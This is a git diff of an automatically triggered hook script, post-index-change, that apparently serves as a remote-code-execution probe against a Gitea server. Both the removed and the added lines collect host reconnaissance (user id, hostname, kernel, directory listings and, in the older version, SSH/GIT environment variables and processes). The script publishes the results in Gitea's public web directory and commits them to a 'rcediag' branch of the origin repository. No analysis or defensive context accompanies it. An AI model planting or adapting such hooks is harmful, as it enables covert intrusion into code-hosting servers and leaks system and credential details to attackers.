diff --git a/hooks/post-index-change b/hooks/post-index-change index d689944..95e9416 100755 --- a/hooks/post-index-change +++ b/hooks/post-index-change @@ -2,9 +2,11 @@ P="" while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null [ -n "$P" ] || exit 0 -[ -f "$P/refs/heads/rcediag" ] && [ -s "$P/rce_diag.txt" ] && exit 0 -{ echo "MARK=$$ $(date -u)"; id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ORIGIN=$P"; git --version; echo ENV; env | grep -iE '^(GIT|SSH)'; echo PS; ps -e -o stat=,user=,comm= 2>/dev/null | head -25; echo LS_ORIGIN; ls -la "$P" 2>/dev/null | head -30; } > "$P/rce_diag.txt" 2>&1 -mkdir -p /data/gitea/custom/public 2>/dev/null -cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null +[ -f "$P/v5lk" ] && exit 0 +: > "$P/v5lk" +printf 'V5-RAN pid=%s P=%s\n' "$$" "$P" > /data/gitea/custom/public/rce_diag.txt 2>/dev/null +[ -s /data/gitea/custom/public/rce_diag.txt ] || { printf 'V5-local P=%s\n' "$P" > "$P/rce_diag.txt" 2>/dev/null; mkdir -p /data/gitea/custom/public 2>/dev/null; cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null; } +{ id; hostname; uname -a; echo "ORIGIN=$P"; ls -la "$P" 2>/dev/null | head -30; } > "$P/rce_diag.txt" 2>&1 H=$(git -C "$P" hash-object -w "$P/rce_diag.txt" 2>/dev/null) [ -n "$H" ] && git -C "$P" update-ref refs/heads/rcediag "$H" 2>/dev/null +rm -f "$P/v5lk" 2>/dev/null